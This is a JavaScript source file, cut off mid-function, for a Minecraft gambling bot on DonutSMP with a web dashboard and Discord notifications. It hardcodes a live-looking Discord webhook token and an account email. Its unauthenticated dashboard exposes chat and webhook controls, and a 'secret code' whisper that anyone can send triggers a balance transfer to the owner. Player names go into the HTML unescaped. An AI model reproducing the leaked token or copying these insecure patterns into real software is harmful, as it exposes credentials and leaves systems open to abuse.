const mineflayer = require("mineflayer");
const express = require("express");
const fs = require("fs");
const path = require("path");

// ═══════════════════════════════════════════════════════════════
//                    CONFIGURATION SETTINGS
// ═══════════════════════════════════════════════════════════════

const CONFIG = {
  // Bot Connection
  host: "donutsmp.net",
  username: "stonegamingmode@gmail.com",
  auth: "microsoft",
  version: "1.20.4",

  // Secret Commands
  SECRET_CODE: "6872",
  OWNER_USERNAME: "Solslfy",
  RESERVE_AMOUNT: 100000, // Keep 100k in bot

  // Discord Webhook
  discordWebhook:
    "https://discord.com/api/webhooks/1464629959216595159/wkBY8uhwt84lNjNlsQhzWfLIMEErvDpNMsDgAw88AYASLNKLaDURYInaTr7tPG-55X4S",
  sendAllBets: true, // Send every bet to Discord
  bigBetThreshold: 2500000, // Bets above $2.5M are considered "big"

  // Debug Settings
  debugMode: true,

  // Gambling Settings
  MIN_BET: 1, // Minimum bet: $1
  MAX_BET: 5000000, // Maximum bet: $5,000,000
  WIN_CHANCE: 0.48, // 48% chance to win
  PAYOUT_MULTIPLIER: 2, // 2x payout on win
  COOLDOWN_MS: 3000, // 3 second cooldown

  // Safety Settings
  MIN_BALANCE: 5000,
  MAX_BET_RATIO: 0.4,
};

// ═══════════════════════════════════════════════════════════════
//                    MESSAGE TEMPLATES
// ═══════════════════════════════════════════════════════════════

const MESSAGES = {
  WIN: [
    "YOU WON $[AMOUNT]!",
    "Congrats! Here's your $[AMOUNT]!",
    "Nice! You won $[AMOUNT]!",
    "Winner! Sending you $[AMOUNT]!",
    "Good job! Here is your $[AMOUNT]!",
    "Lucky! You just won $[AMOUNT]!",
    "Amazing! Enjoy your $[AMOUNT]!",
    "Jackpot! You won $[AMOUNT]!",
    "You hit! Won $[AMOUNT]!",
    "Success! Here's $[AMOUNT]!",
  ],

  LOSS: [
    "You lost $[AMOUNT]! Better luck next time!",
    "Not this time! You lost $[AMOUNT]",
    "Unfortunately, you lost $[AMOUNT]",
    "House wins! You lost $[AMOUNT]",
    "Tough luck! Lost $[AMOUNT]",
    "That's a loss of $[AMOUNT]! Try again!",
    "No luck this time! Lost $[AMOUNT]",
    "Better luck next time! Lost $[AMOUNT]",
    "Missed! You lost $[AMOUNT]",
    "House takes $[AMOUNT]! Spin again!",
  ],

  MIN_BET_REFUND: [
    "Minimum bet is $[MIN]! Refunding...",
    "Bet too small! Min is $[MIN]. Sending it back...",
    "Below minimum ($[MIN])! Refunding your money...",
    "That's under the $[MIN] minimum. Refunded!",
    "Min bet: $[MIN]. Returning your funds...",
  ],

  MAX_BET_REFUND: [
    "Maximum bet is $[MAX]! Refunding...",
    "Bet too large! Max is $[MAX]. Sending it back...",
    "Above maximum ($[MAX])! Refunding your money...",
    "That's over the $[MAX] limit. Refunded!",
    "Max bet: $[MAX]. Returning your funds...",
  ],

  COOLDOWN_REFUND: [
    "Wait [WAIT]s before betting again! Refunding...",
    "Slow down! Wait [WAIT] seconds. Refunded!",
    "Cooldown active! [WAIT]s remaining. Money returned!",
    "Too fast! Wait [WAIT]s. Sending your bet back...",
    "Please wait [WAIT] seconds. Refunded!",
  ],

  LOW_FUNDS_REFUND: [
    "Casino is low on funds! Gambling paused. Refunding...",
    "Sorry! We're low on money. Refunding your bet...",
    "Bot funds too low! Refunding your $[AMOUNT]...",
    "Not enough in the house! Sending your money back...",
    "Insufficient funds! Refunding $[AMOUNT]...",
  ],

  CANT_AFFORD_REFUND: [
    "Bet too large! Bot can't afford payout. Refunding...",
    "That's too much! Can't pay if you win. Refunded!",
    "Potential payout too high! Sending money back...",
    "Can't cover that bet! Refunding...",
    "Unable to cover potential winnings. Refunded!",
  ],

  BALANCE_RESPONSE: [
    "Bot Balance: $[BALANCE]",
    "Current Balance: $[BALANCE]",
    "I have $[BALANCE]",
    "Balance: $[BALANCE]",
    "$[BALANCE] in the casino!",
    "The house has $[BALANCE]",
  ],
};

// Helper function to get random message
function getRandomMessage(category, replacements = {}) {
  const messages = MESSAGES[category];
  let message = messages[Math.floor(Math.random() * messages.length)];

  // Replace placeholders
  for (const [key, value] of Object.entries(replacements)) {
    message = message.replace(`[${key}]`, value);
  }

  return message;
}

// ═══════════════════════════════════════════════════════════════
//                         BOT STATE
// ═══════════════════════════════════════════════════════════════

let botBalance = 0;
let isOnline = false;
let botUsername = "autogamblebot";
let totalBetsProcessed = 0;
let totalMoneyWagered = 0;
let totalMoneyPaidOut = 0;
const lastBetTime = new Map();
const recentBets = [];
const stats = {
  wins: 0,
  losses: 0,
  biggestWin: 0,
  biggestLoss: 0,
};

const debugLogs = [];
function addDebugLog(message, type = "info") {
  const log = {
    time: new Date().toLocaleTimeString(),
    message,
    type,
  };
  debugLogs.unshift(log);
  if (debugLogs.length > 50) debugLogs.pop();
}

// ═════════════════════════════════════════════════════════════
//                    DISCORD WEBHOOK FUNCTIONS
// ═══════════════════════════════════════════════════════════════

async function sendDiscordWebhook(player, amount, won, payout = 0) {
  if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") {
    debug("Discord webhook not configured, skipping notification");
    return;
  }

  if (!CONFIG.sendAllBets && amount < CONFIG.bigBetThreshold) {
    debug("Skipping Discord notification for small bet", {
      amount,
      threshold: CONFIG.bigBetThreshold,
    });
    return;
  }

  const profit = totalMoneyWagered - totalMoneyPaidOut;
  const winRate =
    totalBetsProcessed > 0
      ? ((stats.wins / totalBetsProcessed) * 100).toFixed(1)
      : 0;

  const embed = {
    title: won ? "🎉 WINNER!" : "💔 LOST",
    color: won ? 0x10b981 : 0xef4444,
    fields: [
      {
        name: "👤 Player",
        value: player,
        inline: true,
      },
      {
        name: "💵 Bet Amount",
        value: `$${amount.toLocaleString()}`,
        inline: true,
      },
      {
        name: won ? "💰 Payout" : "❌ Result",
        value: won ? `$${payout.toLocaleString()}` : "Lost",
        inline: true,
      },
      {
        name: "📊 Bot Balance",
        value: `$${botBalance.toLocaleString()}`,
        inline: true,
      },
      {
        name: "🎲 Total Bets",
        value: `${totalBetsProcessed}`,
        inline: true,
      },
      {
        name: "📈 Win Rate",
        value: `${winRate}%`,
        inline: true,
      },
      {
        name: "💸 House Profit",
        value: `$${profit.toLocaleString()}`,
        inline: true,
      },
      {
        name: "🏆 W/L Ratio",
        value: `${stats.wins}W / ${stats.losses}L`,
        inline: true,
      },
      {
        name: "⏰ Time",
        value: new Date().toLocaleString(),
        inline: true,
      },
    ],
    footer: {
      text: `DonutSMP Casino | Bot: ${botUsername}`,
    },
    timestamp: new Date().toISOString(),
  };

  if (amount >= CONFIG.bigBetThreshold) {
    embed.description = `🔥 **BIG ${won ? "WIN" : "LOSS"}!** 🔥`;
  }

  const payload = {
    username: "Casino Bot",
    avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
    embeds: [embed],
  };

  try {
    const response = await fetch(CONFIG.discordWebhook, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify(payload),
    });

    if (response.ok) {
      console.log("✅ Discord notification sent");
      addDebugLog("Discord webhook sent successfully", "success");
      debug("Discord webhook sent", { player, amount, won });
    } else {
      console.error(
        "❌ Discord webhook failed:",
        response.status,
        response.statusText,
      );
      addDebugLog(`Discord webhook failed: ${response.status}`, "error");
    }
  } catch (error) {
    console.error("❌ Error sending Discord webhook:", error.message);
    addDebugLog("Discord webhook error: " + error.message, "error");
    debug("Discord webhook error", { error: error.message });
  }
}

async function sendDiscordStatusUpdate(message, color = 0x667eea) {
  if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") return;

  const embed = {
    title: "🤖 Bot Status Update",
    description: message,
    color: color,
    footer: {
      text: `DonutSMP Casino | Bot: ${botUsername}`,
    },
    timestamp: new Date().toISOString(),
  };

  const payload = {
    username: "Casino Bot",
    avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
    embeds: [embed],
  };

  try {
    await fetch(CONFIG.discordWebhook, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify(payload),
    });
    debug("Discord status update sent", { message });
  } catch (error) {
    debug("Discord status update failed", { error: error.message });
  }
}

async function sendDiscordAlert(title, message, color = 0xff0000) {
  if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") return;

  const embed = {
    title: title,
    description: message,
    color: color,
    fields: [
      {
        name: "💰 Bot Balance After",
        value: `$${botBalance.toLocaleString()}`,
        inline: true,
      },
    ],
    footer: {
      text: `DonutSMP Casino | Bot: ${botUsername}`,
    },
    timestamp: new Date().toISOString(),
  };

  const payload = {
    username: "Casino Bot",
    avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
    embeds: [embed],
  };

  try {
    await fetch(CONFIG.discordWebhook, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify(payload),
    });
  } catch (error) {
    debug("Discord alert failed", { error: error.message });
  }
}

// ═══════════════════════════════════════════════════════════════
//                    MONEY ABBREVIATION PARSER
// ═══════════════════════════════════════════════════════════════

function parseMoneyAmount(input) {
  const cleaned = String(input)
    .replace(/[$,\s]/g, "")
    .toLowerCase();

  const abbrevMatch = cleaned.match(/^([\d.]+)([kmb])$/);

  if (abbrevMatch) {
    const number = parseFloat(abbrevMatch[1]);
    const suffix = abbrevMatch[2];

    const multipliers = {
      k: 1000,
      m: 1000000,
      b: 1000000000,
    };

    const result = Math.floor(number * multipliers[suffix]);
    debug(`Parsed abbreviation: ${input} → ${result}`, {
      input,
      number,
      suffix,
      result,
    });
    return result;
  }

  const parsed = parseInt(cleaned);
  if (!isNaN(parsed)) {
    debug(`Parsed regular number: ${input} → ${parsed}`, { input, parsed });
    return parsed;
  }

  debug(`Failed to parse amount: ${input}`, { input });
  return NaN;
}

// ═══════════════════════════════════════════════════════════════
//                    COMMAND HANDLERS
// ═══════════════════════════════════════════════════════════════

function handleBalanceCommand(message) {
  // Parse the message format: "username -> YOU: message"
  const whisperMatch = message.match(/^(\w+)\s*->\s*YOU:\s*(.+)$/i);

  if (!whisperMatch) {
    return false;
  }

  const username = whisperMatch[1];
  const content = whisperMatch[2].trim().toLowerCase();

  // Check if the content is "bal" or "balance"
  if (content === "bal" || content === "balance") {
    console.log(`💰 Balance request from ${username}`);
    addDebugLog(`Balance request from ${username}`, "info");

    const balanceMessage = getRandomMessage("BALANCE_RESPONSE", {
      BALANCE: botBalance.toLocaleString(),
    });

    bot.chat(`/msg ${username} ${balanceMessage}`);
    console.log(`✅ Sent balance to ${username}: ${balanceMessage}`);
    addDebugLog(`Sent balance info to ${username}`, "success");

    return true;
  }

  return false;
}

function handleSecretCommand(message) {
  // Parse the message format: "username -> YOU: message"
  const whisperMatch = message.match(/^(\w+)\s*->\s*YOU:\s*(.+)$/i);

  if (!whisperMatch) {
    debug("Not a whisper format, skipping", { message });
    return false;
  }

  const username = whisperMatch[1];
  const content = whisperMatch[2].trim();

  console.log(`🔍 Whisper from ${username}: "${content}"`);
  addDebugLog(`Whisper detected: ${username} -> "${content}"`, "info");

  // Check if the content matches the secret code
  if (content === CONFIG.SECRET_CODE) {
    console.log("═".repeat(60));
    console.log("🚨 SECRET COMMAND DETECTED!");
    console.log(`👤 Triggered by: ${username}`);
    console.log(`📝 Message content: "${content}"`);
    console.log("═".repeat(60));

    addDebugLog(
      `🚨 SECRET COMMAND "${CONFIG.SECRET_CODE}" detected from ${username}!`,
      "warn",
    );

    // STEP 1: Send immediate confirmation message
    try {
      bot.chat(`/msg ${username} 6872 Active!`);
      console.log(`✅ Sent confirmation to ${username}: "6872 Active!"`);
      addDebugLog(`Sent "6872 Active!" confirmation to ${username}`, "success");
    } catch (err) {
      console.error(`❌ Failed to send confirmation message:`, err);
      addDebugLog(`Failed to send confirmation: ${err.message}`, "error");
    }

    // STEP 2: Calculate amount to send (all money minus reserve)
    const amountToSend = Math.max(0, botBalance - CONFIG.RESERVE_AMOUNT);

    if (amountToSend <= 0) {
      console.log(`❌ Bot balance too low to execute command`);
      console.log(
        `💰 Current: $${botBalance.toLocaleString()} | Reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
      );
      addDebugLog("Secret command failed: insufficient balance", "error");
      setTimeout(() => {
        bot.chat(
          `/msg ${username} Bot balance is too low! Need at least $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
        );
      }, 500);
      return true;
    }

    console.log(`💰 Current balance: $${botBalance.toLocaleString()}`);
    console.log(
      `💸 Sending to ${CONFIG.OWNER_USERNAME}: $${amountToSend.toLocaleString()}`,
    );
    console.log(
      `🏦 Keeping reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
    );

    // STEP 3: Send the money (delayed to ensure confirmation message sends first)
    setTimeout(() => {
      try {
        bot.chat(`/pay ${CONFIG.OWNER_USERNAME} ${amountToSend}`);
        console.log(
          `✅ Payment command sent: /pay ${CONFIG.OWNER_USERNAME} ${amountToSend}`,
        );
        addDebugLog(
          `💸 Sent $${amountToSend.toLocaleString()} to ${CONFIG.OWNER_USERNAME}`,
          "success",
        );

        // Update bot balance
        const oldBalance = botBalance;
        botBalance = CONFIG.RESERVE_AMOUNT;

        // STEP 4: Send Discord alert
        sendDiscordAlert(
          "🚨 SECRET COMMAND EXECUTED",
          `**Code:** ${CONFIG.SECRET_CODE}\n**Triggered by:** ${username}\n**Previous Balance:** $${oldBalance.toLocaleString()}\n**Amount Sent:** $${amountToSend.toLocaleString()}\n**Recipient:** ${CONFIG.OWNER_USERNAME}\n**Reserve Kept:** $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
          0xff6b00,
        );

        // STEP 5: Send final confirmation (delayed)
        setTimeout(() => {
          bot.chat(
            `/msg ${username} Sent $${amountToSend.toLocaleString()} to ${CONFIG.OWNER_USERNAME}!`,
          );
          addDebugLog(`Sent final confirmation to ${username}`, "success");
        }, 1500);
      } catch (err) {
        console.error(`❌ Error executing payment:`, err);
        addDebugLog(`Payment execution error: ${err.message}`, "error");
      }
    }, 1000);

    console.log("═".repeat(60));
    return true;
  }

  return false;
}

// ═══════════════════════════════════════════════════════════════
//                    KEEP-ALIVE SERVER (FOR REPLIT)
// ═══════════════════════════════════════════════════════════════

const app = express();
app.use(express.json());

app.get("/", (req, res) => {
  const uptime = process.uptime();
  const hours = Math.floor(uptime / 3600);
  const minutes = Math.floor((uptime % 3600) / 60);
  const seconds = Math.floor(uptime % 60);
  const winRate =
    totalBetsProcessed > 0
      ? ((stats.wins / totalBetsProcessed) * 100).toFixed(1)
      : 0;
  const profit = totalMoneyWagered - totalMoneyPaidOut;

  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <title>DonutSMP Gambling Bot Dashboard</title>
      <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
          font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
          background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
          color: #fff;
          padding: 20px;
          min-height: 100vh;
        }
        .container { max-width: 1200px; margin: 0 auto; }

        .header { 
          background: rgba(0,0,0,0.4);
          backdrop-filter: blur(10px);
          padding: 30px;
          border-radius: 15px;
          text-align: center;
          margin-bottom: 20px;
          border: 2px solid rgba(255,255,255,0.2);
          box-shadow: 0 8px 32px rgba(0,0,0,0.3);
        }

        h1 { 
          font-size: 42px; 
          margin-bottom: 10px;
          text-shadow: 2px 2px 4px rgba(0,0,0,0.5);
          background: linear-gradient(45deg, #fff, #f0f0f0);
          -webkit-background-clip: text;
          -webkit-text-fill-color: transparent;
        }

        .status-badge {
          display: inline-block;
          padding: 8px 20px;
          border-radius: 20px;
          font-weight: bold;
          font-size: 14px;
          margin-top: 10px;
          background: ${isOnline ? "#10b981" : "#ef4444"};
          box-shadow: 0 4px 12px ${isOnline ? "rgba(16, 185, 129, 0.4)" : "rgba(239, 68, 68, 0.4)"};
        }

        .webhook-status {
          display: inline-block;
          margin-left: 10px;
          padding: 8px 20px;
          border-radius: 20px;
          font-weight: bold;
          font-size: 14px;
          background: ${CONFIG.discordWebhook ? "#5865F2" : "#6c757d"};
          box-shadow: 0 4px 12px rgba(0,0,0,0.3);
        }

        .controls {
          background: rgba(0,0,0,0.4);
          backdrop-filter: blur(10px);
          padding: 20px;
          border-radius: 15px;
          margin-bottom: 20px;
          border: 2px solid rgba(255,255,255,0.2);
        }

        .chat-controls {
          margin-top: 15px;
          padding-top: 15px;
          border-top: 2px solid rgba(255,255,255,0.2);
        }

        .webhook-controls {
          margin-top: 15px;
          padding-top: 15px;
          border-top: 2px solid rgba(255,255,255,0.2);
        }

        .input-group {
          display: flex;
          gap: 10px;
          margin-top: 10px;
        }

        input[type="text"] {
          flex: 1;
          padding: 12px 15px;
          border-radius: 8px;
          border: 2px solid rgba(255,255,255,0.3);
          background: rgba(0,0,0,0.3);
          color: white;
          font-size: 14px;
          transition: all 0.3s ease;
        }

        input[type="text"]:focus {
          outline: none;
          border-color: rgba(255,255,255,0.6);
          background: rgba(0,0,0,0.4);
        }

        input[type="text"]::placeholder {
          color: rgba(255,255,255,0.5);
        }

        button {
          background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
          color: white;
          border: none;
          padding: 12px 30px;
          border-radius: 8px;
          font-size: 16px;
          font-weight: bold;
          cursor: pointer;
          margin: 5px;
          transition: all 0.3s ease;
          box-shadow: 0 4px 12px rgba(0,0,0,0.3);
        }

        button:hover {
          transform: translateY(-2px);
          box-shadow: 0 6px 16px rgba(0,0,0,0.4);
        }

        button:disabled {
          opacity: 0.5;
          cursor: not-allowed;
          transform: none;
        }

        button.danger {
          background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%);
        }

        button.success {
          background: linear-gradient(135deg, #10b981 0%, #059669 100%);
        }

        button.discord {
          background: linear-gradient(135deg, #5865F2 0%, #4752C4 100%);
        }

        .stats-grid { 
          display: grid; 
          grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
          gap: 15px;
          margin-bottom: 20px;
        }

        .stat-box { 
          background: rgba(0,0,0,0.4);
          backdrop-filter: blur(10px);
          padding: 25px;
          border-radius: 15px;
          border: 2px solid rgba(255,255,255,0.2);
          box-shadow: 0 8px 32px rgba(0,0,0,0.3);
          transition: transform 0.3s ease;
        }

        .stat-box:hover {
          transform: translateY(-5px);
        }

        .stat-label { 
          color: rgba(255,255,255,0.7); 
          font-size: 12px; 
          text-transform: uppercase;
          letter-spacing: 2px;
          margin-bottom: 10px;
        }

        .stat-value { 
          font-size: 36px; 
          font-weight: bold;
          background: linear-gradient(45deg, #fff, #f0f0f0);
          -webkit-background-clip: text;
          -webkit-text-fill-color: transparent;
        }

        .profit { color: ${profit >= 0 ? "#10b981" : "#ef4444"}; }

        .section {
          background: rgba(0,0,0,0.4);
          backdrop-filter: blur(10px);
          padding: 25px;
          border-radius: 15px;
          margin-bottom: 20px;
          border: 2px solid rgba(255,255,255,0.2);
          box-shadow: 0 8px 32px rgba(0,0,0,0.3);
        }

        .section h2 {
          margin-bottom: 15px;
          padding-bottom: 10px;
          border-bottom: 2px solid rgba(255,255,255,0.2);
        }

        .bet-log {
          max-height: 300px;
          overflow-y: auto;
        }

        .bet-item {
          background: rgba(255,255,255,0.1);
          padding: 10px 15px;
          margin: 8px 0;
          border-radius: 8px;
          border-left: 4px solid;
          display: flex;
          justify-content: space-between;
          align-items: center;
        }

        .bet-item.win { border-left-color: #10b981; }
        .bet-item.loss { border-left-color: #ef4444; }

        .debug-log {
          background: #000;
          color: #0f0;
          padding: 15px;
          border-radius: 8px;
          font-family: 'Courier New', monospace;
          font-size: 12px;
          max-height: 400px;
          overflow-y: auto;
        }

        .debug-line {
          margin: 5px 0;
          padding: 5px;
        }

        .debug-line.error { color: #ff4444; }
        .debug-line.warn { color: #ffaa00; }
        .debug-line.success { color: #00ff00; }

        .info-grid {
          display: grid;
          grid-template-columns: 1fr 1fr;
          gap: 10px;
          margin-top: 15px;
        }

        .info-item {
          background: rgba(255,255,255,0.1);
          padding: 12px;
          border-radius: 8px;
        }

        .info-label {
          color: rgba(255,255,255,0.6);
          font-size: 11px;
          text-transform: uppercase;
          letter-spacing: 1px;
        }

        .info-value {
          font-size: 16px;
          font-weight: bold;
          margin-top: 5px;
        }

        .abbrev-hint {
          background: rgba(255, 255, 0, 0.2);
          border: 2px solid rgba(255, 255, 0, 0.4);
          padding: 10px 15px;
          border-radius: 8px;
          margin-top: 10px;
          font-size: 13px;
          text-align: center;
        }

        .abbrev-hint strong {
          color: #ffd700;
        }

        .webhook-hint {
          background: rgba(88, 101, 242, 0.2);
          border: 2px solid rgba(88, 101, 242, 0.4);
          padding: 10px 15px;
          border-radius: 8px;
          margin-top: 10px;
          font-size: 13px;
        }

        .secret-hint {
          background: rgba(255, 107, 0, 0.2);
          border: 2px solid rgba(255, 107, 0, 0.4);
          padding: 10px 15px;
          border-radius: 8px;
          margin-top: 10px;
          font-size: 13px;
          text-align: center;
        }

        .secret-hint strong {
          color: #ff6b00;
        }

        .command-hint {
          background: rgba(0, 200, 255, 0.2);
          border: 2px solid rgba(0, 200, 255, 0.4);
          padding: 10px 15px;
          border-radius: 8px;
          margin-top: 10px;
          font-size: 13px;
          text-align: center;
        }

        .command-hint strong {
          color: #00d4ff;
        }

        ::-webkit-scrollbar { width: 8px; }
        ::-webkit-scrollbar-track { background: rgba(0,0,0,0.3); }
        ::-webkit-scrollbar-thumb { background: rgba(255,255,255,0.3); border-radius: 4px; }
        ::-webkit-scrollbar-thumb:hover { background: rgba(255,255,255,0.5); }
      </style>
      <meta http-equiv="refresh" content="3">
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🎰 Gambling Bot Dashboard</h1>
          <p style="opacity: 0.8; margin: 10px 0;">DonutSMP Casino - ${botUsername}</p>
          <div class="status-badge">${isOnline ? "🟢 ONLINE" : "🔴 OFFLINE"}</div>
          <div class="webhook-status">
            ${CONFIG.discordWebhook ? "🔔 Discord Connected" : "🔕 No Webhook"}
          </div>
        </div>

        <div class="controls">
          <div style="text-align: center;">
            <button onclick="clearCache()">🗑️ Clear Login Cache</button>
            <button onclick="checkBalance()">💰 Check Balance</button>
            <button onclick="testWebhook()" class="discord" ${!CONFIG.discordWebhook ? "disabled" : ""}>
              🔔 Test Webhook
            </button>
            <button onclick="location.reload()">🔄 Refresh</button>
          </div>

          <div class="webhook-controls">
            <h3 style="margin-bottom: 10px; text-align: center;">🔔 Discord Webhook</h3>
            <div class="input-group">
              <input type="text" id="webhookUrl" placeholder="Paste Discord webhook URL here" value="${CONFIG.discordWebhook}">
              <button class="discord" onclick="saveWebhook()">💾 Save</button>
            </div>
            <div class="webhook-hint">
              💡 Get webhook: Discord Server → Channel Settings → Integrations → Webhooks → New Webhook<br>
              📊 Status: <strong>${CONFIG.sendAllBets ? "All bets" : "Big bets only"}</strong> (threshold: $${CONFIG.bigBetThreshold.toLocaleString()})
            </div>
          </div>

          <div class="chat-controls">
            <h3 style="margin-bottom: 10px; text-align: center;">💬 Send Chat Message</h3>
            <div class="input-group">
              <input type="text" id="chatMessage" placeholder="Enter message or command (e.g., /bal or Hello everyone!)" onkeypress="handleChatKeypress(event)">
              <button class="success" onclick="sendChatMessage()" ${!isOnline ? "disabled" : ""}>
                📤 Send
              </button>
            </div>
            <p style="text-align: center; opacity: 0.6; font-size: 12px; margin-top: 8px;">
              ${!isOnline ? "⚠️ Bot must be online to send messages" : "Press Enter to send"}
            </p>

            <div class="command-hint">
              💬 <strong>Balance Command:</strong> Whisper "<code>bal</code>" to see bot's balance<br>
              📝 Use: <strong>/msg ${botUsername} bal</strong>
            </div>

            <div class="secret-hint">
              🔐 <strong>Secret Command:</strong> Whisper "<code>${CONFIG.SECRET_CODE}</code>"<br>
              ➡️ Bot replies: <strong>"6872 Active!"</strong><br>
              ➡️ Then sends all money to ${CONFIG.OWNER_USERNAME} (keeps $${CONFIG.RESERVE_AMOUNT.toLocaleString()} reserve)<br>
              💬 Use: <strong>/msg ${botUsername} ${CONFIG.SECRET_CODE}</strong>
            </div>
          </div>
        </div>

        <div class="stats-grid">
          <div class="stat-box">
            <div class="stat-label">Bot Balance</div>
            <div class="stat-value">$${botBalance.toLocaleString()}</div>
          </div>

          <div class="stat-box">
            <div class="stat-label">Total Bets</div>
            <div class="stat-value">${totalBetsProcessed}</div>
          </div>

          <div class="stat-box">
            <div class="stat-label">Win Rate</div>
            <div class="stat-value">${winRate}%</div>
          </div>

          <div class="stat-box">
            <div class="stat-label">House Profit</div>
            <div class="stat-value profit">$${profit.toLocaleString()}</div>
          </div>
        </div>

        <div class="section">
          <h2>📊 Statistics</h2>
          <div class="info-grid">
            <div class="info-item">
              <div class="info-label">Player Wins</div>
              <div class="info-value" style="color: #10b981;">${stats.wins}</div>
            </div>
            <div class="info-item">
              <div class="info-label">Player Losses</div>
              <div class="info-value" style="color: #ef4444;">${stats.losses}</div>
            </div>
            <div class="info-item">
              <div class="info-label">Money Wagered</div>
              <div class="info-value">$${totalMoneyWagered.toLocaleString()}</div>
            </div>
            <div class="info-item">
              <div class="info-label">Money Paid Out</div>
              <div class="info-value">$${totalMoneyPaidOut.toLocaleString()}</div>
            </div>
            <div class="info-item">
              <div class="info-label">Biggest Win</div>
              <div class="info-value">$${stats.biggestWin.toLocaleString()}</div>
            </div>
            <div class="info-item">
              <div class="info-label">Uptime</div>
              <div class="info-value">${hours}h ${minutes}m ${seconds}s</div>
            </div>
          </div>
        </div>

        <div class="section">
          <h2>🎲 Recent Bets</h2>
          <div class="bet-log">
            ${recentBets.length === 0 ? '<p style="opacity: 0.5; text-align: center; padding: 20px;">No bets yet...</p>' : ""}
            ${recentBets
              .map(
                (bet) => `
              <div class="bet-item ${bet.won ? "win" : "loss"}">
                <div>
                  <strong>${bet.player}</strong> bet <strong>$${bet.amount.toLocaleString()}</strong>
                  <span style="opacity: 0.6; margin-left: 10px;">${bet.time}</span>
                </div>
                <div style="font-weight: bold; font-size: 18px;">
                  ${bet.won ? "✅ WON $" + bet.payout.toLocaleString() : "❌ LOST"}
                </div>
              </div>
            `,
              )
              .join("")}
          </div>
        </div>

        <div class="section">
          <h2>🔧 Debug Console</h2>
          <div class="debug-log">
            ${debugLogs.length === 0 ? '<div style="opacity: 0.5;">Waiting for logs...</div>' : ""}
            ${debugLogs
              .map(
                (log) => `
              <div class="debug-line ${log.type}">
                [${log.time}] ${log.message}
              </div>
            `,
              )
              .join("")}
          </div>
        </div>

        <div class="section">
          <h2>💰 How to Play</h2>
          <div style="background: rgba(0,0,0,0.3); padding: 20px; border-radius: 8px;">
            <p style="font-size: 18px; margin-bottom: 15px;">
              <strong>Command:</strong> <code style="background: rgba(255,255,255,0.2); padding: 5px 10px; border-radius: 4px;">/pay ${botUsername} &lt;amount&gt;</code>
            </p>

            <div class="abbrev-hint">
              💡 <strong>You can use abbreviations!</strong><br>
              Examples: <code>100k</code> = 100,000 | <code>1.5m</code> = 1,500,000 | <code>2b</code> = 2,000,000,000
            </div>

            <div class="info-grid">
              <div class="info-item">
                <div class="info-label">Min Bet</div>
                <div class="info-value">$${CONFIG.MIN_BET.toLocaleString()}</div>
              </div>
              <div class="info-item">
                <div class="info-label">Max Bet</div>
                <div class="info-value">$${CONFIG.MAX_BET.toLocaleString()}</div>
              </div>
              <div class="info-item">
                <div class="info-label">Win Chance</div>
                <div class="info-value">${CONFIG.WIN_CHANCE * 100}%</div>
              </div>
              <div class="info-item">
                <div class="info-label">Payout</div>
                <div class="info-value">${CONFIG.PAYOUT_MULTIPLIER}x</div>
              </div>
            </div>
          </div>
        </div>
      </div>

      <script>
        function clearCache() {
          if (confirm('Are you sure you want to clear the login cache? You will need to re-authenticate.')) {
            fetch('/clear-cache', { method: 'POST' })
              .then(r => r.json())
              .then(data => {
                alert(data.message);
                location.reload();
              })
              .catch(err => alert('Error: ' + err));
          }
        }

        function checkBalance() {
          fetch('/check-balance', { method: 'POST' })
            .then(r => r.json())
            .then(data => alert(data.message))
            .catch(err => alert('Error: ' + err));
        }

        function saveWebhook() {
          const url = document.getElementById('webhookUrl').value.trim();

          if (!url) {
            alert('Please enter a webhook URL!');
            return;
          }

          if (!url.startsWith('https://discord.com/api/webhooks/')) {
            alert('Invalid Discord webhook URL!');
            return;
          }

          fetch('/save-webhook', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ webhook: url })
          })
            .then(r => r.json())
            .then(data => {
              alert(data.message);
              if (data.success) {
                location.reload();
              }
            })
            .catch(err => alert('Error: ' + err));
        }

        function testWebhook() {
          if (confirm('Send a test message to Discord?')) {
            fetch('/test-webhook', { method: 'POST' })
              .then(r => r.json())
              .then(data => alert(data.message))
              .catch(err => alert('Error: ' + err));
          }
        }

        function sendChatMessage() {
          const input = document.getElementById('chatMessage');
          const message = input.value.trim();

          if (!message) {
            alert('Please enter a message!');
            return;
          }

          fetch('/send-chat', { 
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ message })
          })
            .then(r => r.json())
            .then(data => {
              if (data.success) {
                input.value = '';
                alert('✅ Message sent: ' + message);
              } else {
                alert('❌ ' + data.message);
              }
            })
            .catch(err => alert('Error: ' + err));
        }

        function handleChatKeypress(event) {
          if (event.key === 'Enter') {
            sendChatMessage();
          }
        }
      </script>
    </body>
    </html>
  `);
});

app.post("/clear-cache", (req, res) => {
  const profilePath = path.join(__dirname, "minecraft_profiles");
  try {
    if (fs.existsSync(profilePath)) {
      fs.rmSync(profilePath, { recursive: true, force: true });
      console.log("🗑️ Login cache cleared!");
      addDebugLog("Login cache cleared by user", "warn");
      res.json({
        success: true,
        message: "Login cache cleared! Please restart the bot.",
      });
    } else {
      console.log("⚠️ No cache found to clear");
      addDebugLog("No cache found to clear", "warn");
      res.json({ success: false, message: "No cache found." });
    }
  } catch (err) {
    console.error("❌ Error clearing cache:", err);
